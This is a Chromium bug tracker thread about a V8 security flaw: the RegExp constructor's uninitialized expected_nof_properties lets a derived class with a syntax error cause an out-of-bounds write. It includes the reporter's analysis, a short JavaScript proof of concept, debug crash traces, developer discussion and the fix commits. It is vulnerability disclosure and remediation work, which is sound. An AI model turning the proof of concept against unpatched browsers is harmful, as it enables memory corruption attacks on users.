Security: V8: Bugs in Genesis::InitializeGlobal |
||||||||||||||||||||
Issue description
Bug:
The Genesis::InitializeGlobal method initializes the constructor of RegExp as follows:
// Builtin functions for RegExp.prototype.
Handle<JSFunction> regexp_fun = InstallFunction(
global, "RegExp", JS_REGEXP_TYPE,
JSRegExp::kSize + JSRegExp::kInObjectFieldCount * kPointerSize,
JSRegExp::kInObjectFieldCount, factory->the_hole_value(),
Builtins::kRegExpConstructor);
InstallWithIntrinsicDefaultProto(isolate, regexp_fun,
Context::REGEXP_FUNCTION_INDEX);
Handle<SharedFunctionInfo> shared(regexp_fun->shared(), isolate);
shared->SetConstructStub(*BUILTIN_CODE(isolate, JSBuiltinsConstructStub));
shared->set_instance_class_name(isolate->heap()->RegExp_string());
shared->set_internal_formal_parameter_count(2);
shared->set_length(2);
...
I think "shared->expected_nof_properties()" should be the same as JSRegExp::kInObjectFieldCount. But it doesn't set "expected_nof_properties", it remains 0.
There are other constructors that don't set "expected_nof_properties", but RegExp was the only useable constructor to exploit.
Exploit:
This can affect JSFunction::GetDerivedMap, which is used to create or get a Map object for the given constructor and "new.target", to incorrectly compute the number of in-object properties.
Here's a snippet of the method.
(https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=0c287882ea233f299a91f6b72b56d8faaecf52c0&l=12966)
MaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate,
Handle<JSFunction> constructor,
Handle<JSReceiver> new_target) {
...
// Fast case, new.target is a subclass of constructor. The map is cacheable
// (and may already have been cached). new.target.prototype is guaranteed to
// be a JSReceiver.
if (new_target->IsJSFunction()) {
Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
...
// Create a new map with the size and number of in-object properties
// suggested by |function|.
// Link initial map and constructor function if the new.target is actually a
// subclass constructor.
if (IsDerivedConstructor(function->shared()->kind())) {
Handle<Object> prototype(function->instance_prototype(), isolate);
InstanceType instance_type = constructor_initial_map->instance_type();
DCHECK(CanSubclassHaveInobjectProperties(instance_type));
int embedder_fields =
JSObject::GetEmbedderFieldCount(*constructor_initial_map);
int pre_allocated = constructor_initial_map->GetInObjectProperties() -
constructor_initial_map->UnusedPropertyFields();
int instance_size;
int in_object_properties;
CalculateInstanceSizeForDerivedClass(function, instance_type,
embedder_fields, &instance_size,
&in_object_properties);
int unused_property_fields = in_object_properties - pre_allocated;
Handle<Map> map =
Map::CopyInitialMap(constructor_initial_map, instance_size,
in_object_properties, unused_property_fields);
...
return map;
}
}
"unused_property_fields" is obtained by subtracting "pre_allocated" from "in_object_properties". And "in_object_properties" is obtained by adding the number of properties of "new_target" and its all super constructors using CalculateInstanceSizeForDerivedClass.
Here's CalculateInstanceSizeForDerivedClass.
void JSFunction::CalculateInstanceSizeForDerivedClass(
Handle<JSFunction> function, InstanceType instance_type,
int requested_embedder_fields, int* instance_size,
int* in_object_properties) {
Isolate* isolate = function->GetIsolate();
int expected_nof_properties = 0;
for (PrototypeIterator iter(isolate, function, kStartAtReceiver);
!iter.IsAtEnd(); iter.Advance()) {
Handle<JSReceiver> current =
PrototypeIterator::GetCurrent<JSReceiver>(iter);
if (!current->IsJSFunction()) break;
Handle<JSFunction> func(Handle<JSFunction>::cast(current));
// The super constructor should be compiled for the number of expected
// properties to be available.
Handle<SharedFunctionInfo> shared(func->shared());
if (shared->is_compiled() ||
Compiler::Compile(func, Compiler::CLEAR_EXCEPTION)) {
DCHECK(shared->is_compiled());
expected_nof_properties += shared->expected_nof_properties();
}
if (!IsDerivedConstructor(shared->kind())) {
break;
}
}
CalculateInstanceSizeHelper(instance_type, true, requested_embedder_fields,
expected_nof_properties, instance_size,
in_object_properties);
}
It iterates over all the super constructors, and sums each constructor's "expected_nof_properties()".
If it fails to compile the constructor using Compiler::Compile due to somthing like a syntax error, it just clears the exception, and skips to the next iteration (Should this also count as a bug?).
So using these, we can make "pre_allocated" higher than "in_object_properties" which may lead to OOB reads/writes.
PoC:
function gc() {
for (let i = 0; i < 20; i++)
new ArrayBuffer(0x2000000);
}
class Derived extends RegExp {
constructor(a) {
const a = 1; // syntax error, Derived->expected_nof_properties() skipped
}
}
let o = Reflect.construct(RegExp, [], Derived);
o.lastIndex = 0x1234; // OOB write
gc();
/*
int pre_allocated = constructor_initial_map->GetInObjectProperties() - // 1
constructor_initial_map->UnusedPropertyFields(); // 0
int instance_size;
int in_object_properties;
CalculateInstanceSizeForDerivedClass(function, instance_type,
embedder_fields, &instance_size,
&in_object_properties);
// in_object_properties == 0, pre_allocated == 1
int unused_property_fields = in_object_properties - pre_allocated;
*/
Another bug?
There's a comment saying "Fast case, new.target is a subclass of constructor." in the JSFunction::GetDerivedMap method, but it doesn't check that "new_target" is actually a subclass of "constructor". So if "new_target" is not a subclass of "constructor", "pre_allocated" can be higher than "in_object_properties". To exploit this, it required to be able to change the value of "constructor_initial_map->UnusedPropertyFields()", but I couldn't find any way. So I'm not so sure about this part.
,
Jan 10 2018
,
Jan 10 2018
,
Jan 10 2018
Confirming the repro from above on ToT. In debug mode:
#
# Fatal error in ../../src/objects/map-inl.h, line 322
# Debug check failed: 0 <= value (0 vs. -1).
#
(gdb) bt
#0 v8::base::OS::Abort () at ../../src/base/platform/platform-posix.cc:372
#1 0x00007f1e4192b787 in V8_Fatal (file=0x7f1e3f4d8f9b "../../src/objects/map-inl.h", line=322, format=0x7f1e41901aac "Debug check failed: %s.") at ../../src/base/logging.cc:136
#2 0x00007f1e4192b1ef in v8::base::(anonymous namespace)::DefaultDcheckHandler (file=0x7f1e3f4d8f9b "../../src/objects/map-inl.h", line=322, message=0x564050d21fe1 "0 <= value (0 vs. -1)")
at ../../src/base/logging.cc:56
#3 0x00007f1e4192b7c2 in V8_Dcheck (file=0x7f1e3f4d8f9b "../../src/objects/map-inl.h", line=322, message=0x564050d21fe1 "0 <= value (0 vs. -1)") at ../../src/base/logging.cc:140
#4 0x00007f1e4030162d in v8::internal::Map::SetInObjectUnusedPropertyFields (this=0x3fcd8960c891, value=-1) at ../../src/objects/map-inl.h:322
#5 0x00007f1e40c7e904 in v8::internal::Map::CopyInitialMap (map=..., instance_size=48, inobject_properties=0, unused_property_fields=-1) at ../../src/objects.cc:9186
#6 0x00007f1e40c4d969 in v8::internal::JSFunction::GetDerivedMap (isolate=0x564050ccb7e0, constructor=..., new_target=...) at ../../src/objects.cc:13019
#7 0x00007f1e40c4d597 in v8::internal::JSObject::New (constructor=..., new_target=..., site=...) at ../../src/objects.cc:1414
#8 0x00007f1e40f00012 in v8::internal::__RT_impl_Runtime_NewObject (args=..., isolate=0x564050ccb7e0) at ../../src/runtime/runtime-object.cc:730
#9 0x00007f1e40effc07 in v8::internal::Runtime_NewObject (args_length=2, args_object=0x7fff57861bf8, isolate=0x564050ccb7e0) at ../../src/runtime/runtime-object.cc:725
Just checked Firefox's behavior, it throws 'SyntaxError: redeclaration of formal parameter'
,
Jan 10 2018
This goes back to at least Aug 31, 2017 (didn't test earlier revisions). Revision https://chromium.googlesource.com/v8/v8/+/d138f8d7ef6bb1021c4b7ddce51374a10eef2061 crashes with # # Fatal error in ../../src/objects-inl.h, line 1637 # Debug check failed: kHeaderSize <= end_of_pre_allocated_offset (24 vs. -1992). # ==== C stack trace =============================== /usr/local/google/home/ulan/v8/v8/out/x64.debug/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7fbedabc228e] /usr/local/google/home/ulan/v8/v8/out/x64.debug/./libv8_libplatform.so(+0x1f547) [0x7fbedab68547] /usr/local/google/home/ulan/v8/v8/out/x64.debug/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1bd) [0x7fbedabb5e8d] /usr/local/google/home/ulan/v8/v8/out/x64.debug/./libv8.so(v8::internal::JSObject::InitializeBody(v8::internal::Map*, int, v8::internal::Object*, v8::internal::Object*)+0x291) [0x7fbed99f2921] /usr/local/google/home/ulan/v8/v8/out/x64.debug/./libv8.so(v8::internal::Heap::InitializeJSObjectBody(v8::internal::JSObject*, v8::internal::Map*, int)+0x20b) [0x7fbed99d53fb] /usr/local/google/home/ulan/v8/v8/out/x64.debug/./libv8.so(v8::internal::Heap::InitializeJSObjectFromMap(v8::internal::JSObject*, v8::internal::Object*, v8::internal::Map*)+0x56) [0x7fbed99d51e6] /usr/local/google/home/ulan/v8/v8/out/x64.debug/./libv8.so(v8::internal::Heap::AllocateJSObjectFromMap(v8::internal::Map*, v8::internal::PretenureFlag, v8::internal::AllocationSite*)+0x132) [0x7fbed99d5562] /usr/local/google/home/ulan/v8/v8/out/x64.debug/./libv8.so(v8::internal::Factory::NewJSObjectFromMap(v8::internal::Handle<v8::internal::Map>, v8::internal::PretenureFlag, v8::internal::Handle<v8::internal::AllocationSite>)+0x91) [0x7fbed994bc11] /usr/local/google/home/ulan/v8/v8/out/x64.debug/./libv8.so(v8::internal::JSObject::New(v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::Handle<v8::internal::AllocationSite>)+0x227) [0x7fbed9c37bf7] /usr/local/google/home/ulan/v8/v8/out/x64.debug/./libv8.so(+0x18b8942) [0x7fbed9ef3942] /usr/local/google/home/ulan/v8/v8/out/x64.debug/./libv8.so(v8::internal::Runtime_NewObject(int, v8::internal::Object**, v8::internal::Isolate*)+0x110) [0x7fbed9ef3570] [0x2cc0a9d84584]
,
Jan 11 2018
,
Jan 11 2018
Ugh this is a good one :): - We have to expect that the preparse doesn't catch everything which implies that whenever we do Compiler::Compile we might fail with SyntaxErrors - In the "pending SyntaxError" case we agreed to only throw on first execution This approach works if the constructor actually gets invoked, which is not the case with Reflect.construct. Fixing the expected_nof_poperties on the SFI fixes the OOB, but we don't throw the SyntaxError (which I'm not sure what the policy is here).
,
Jan 11 2018
And to add another piece of information. RegExp is special in the case that there is a pre-allocated JavaScript in-object property "lastIndex", no other object has this kind of setup. Either fields are internal (hidden from JS) or they are js-exposed.
,
Jan 11 2018
I confused myself while reading the spec, but I came to the conclusion that "lastIndex" should be implemented the same way as "length" on array using an Accessor + internal field.
,
Jan 12 2018
Re 8: RegExpResult also has 3 exposed in-object properties. Maybe others do too (see JSModuleNamespace, JSIteratorResult)? Re 9: Could you elaborate? Are exposed in-object properties a no-go in general?
,
Jan 12 2018
Using in-object-properties should actually work, but the setup in the bootstrapper is quite brittle (I guess it is in general). I'll fix CreateFunction for now as it immediately deals with this issue and thinking about a way to harden this behavior. Maybe it would be cleaner to manually transition from the empty RegExp prototype to the one with one property or adding a test that compares that the two ways of creating Maps yield the same result.
,
Jan 12 2018
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/42e8ca9995c14b28c89b68e1387a196702d9aff1 commit 42e8ca9995c14b28c89b68e1387a196702d9aff1 Author: Camillo Bruni <cbruni@chromium.org> Date: Fri Jan 12 10:51:11 2018 [Runtime] Set expected_nof_properties when creating Constructors Bug: chromium:800032 Change-Id: I2ba740a3617df3652475e8fc5bd8e8e33cb14a0d Reviewed-on: https://chromium-review.googlesource.com/861886 Commit-Queue: Camillo Bruni <cbruni@chromium.org> Reviewed-by: Jakob Gruber <jgruber@chromium.org> Cr-Commit-Position: refs/heads/master@{#50526} [modify] https://crrev.com/42e8ca9995c14b28c89b68e1387a196702d9aff1/src/factory.cc [add] https://crrev.com/42e8ca9995c14b28c89b68e1387a196702d9aff1/test/mjsunit/regress/regress-crbug-800032.js
,
Jan 20 2018
,
Jan 21 2018
,
Jan 25 2018
,
Jan 26 2018
cbruni: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers? If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one? If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started. Thanks for your time! To disable nags, add the Disable-Nags label. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Jan 26 2018
Taking this one as cbruni@ is OOO.
,
Jan 26 2018
This bug requires manual review: Request affecting a post-stable build Please contact the milestone owner if you have questions. Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), abdulsyed@(Desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Jan 26 2018
It seems that the last part I mentioned in the initial report has now became a problem. Should I open another issue?
,
Jan 26 2018
#19: Sounds good, please do.
,
Jan 26 2018
What OS is this for? We're already ramping up M64 Stable. Can you please confirm why this is critical for 64 vs waiting for 65?
,
Jan 27 2018
abdulsyed@ - good for 64, but only in case there's a respin, no need to block rollout.
,
Jan 29 2018
#21: This is a potential OS/platform-independent OOB read/write.
,
Jan 29 2018
approving merge for M64. Branch:3282
,
Jan 30 2018
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/388e8cfa4ac0416462ff47066fa2569d0f5d73bd commit 388e8cfa4ac0416462ff47066fa2569d0f5d73bd Author: jgruber <jgruber@chromium.org> Date: Tue Jan 30 08:01:01 2018 Merged: [Runtime] Set expected_nof_properties when creating Constructors LOG=N NOTRY=true NOPRESUBMIT=true NOTREECHECKS=true TBR=cbruni@chromium.org Bug: chromium:800032 Change-Id: I2ba740a3617df3652475e8fc5bd8e8e33cb14a0d Reviewed-on: https://chromium-review.googlesource.com/861886 Commit-Queue: Camillo Bruni <cbruni@chromium.org> Reviewed-by: Jakob Gruber <jgruber@chromium.org> Cr-Original-Commit-Position: refs/heads/master@{#50526} Reviewed-on: https://chromium-review.googlesource.com/892878 Commit-Queue: Jakob Gruber <jgruber@chromium.org> Cr-Commit-Position: refs/branch-heads/6.4@{#84} Cr-Branched-From: 0407506af3d9d7e2718be1d8759296165b218fcf-refs/heads/6.4.388@{#1} Cr-Branched-From: a5fc4e085ee543cb608eb11034bc8f147ba388e1-refs/heads/master@{#49724} [modify] https://crrev.com/388e8cfa4ac0416462ff47066fa2569d0f5d73bd/src/factory.cc [add] https://crrev.com/388e8cfa4ac0416462ff47066fa2569d0f5d73bd/test/mjsunit/regress/regress-crbug-800032.js
,
Jan 30 2018
,
Feb 1 2018
,
Feb 8 2018
,
Feb 8 2018
,
Mar 27 2018
,
Apr 3 2018
Issue 828435 has been merged into this issue.
,
May 17 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
||||||||||||||||||||
►
Sign in to add a comment |
||||||||||||||||||||
Comment 1 by elawrence@chromium.org
, Jan 8 2018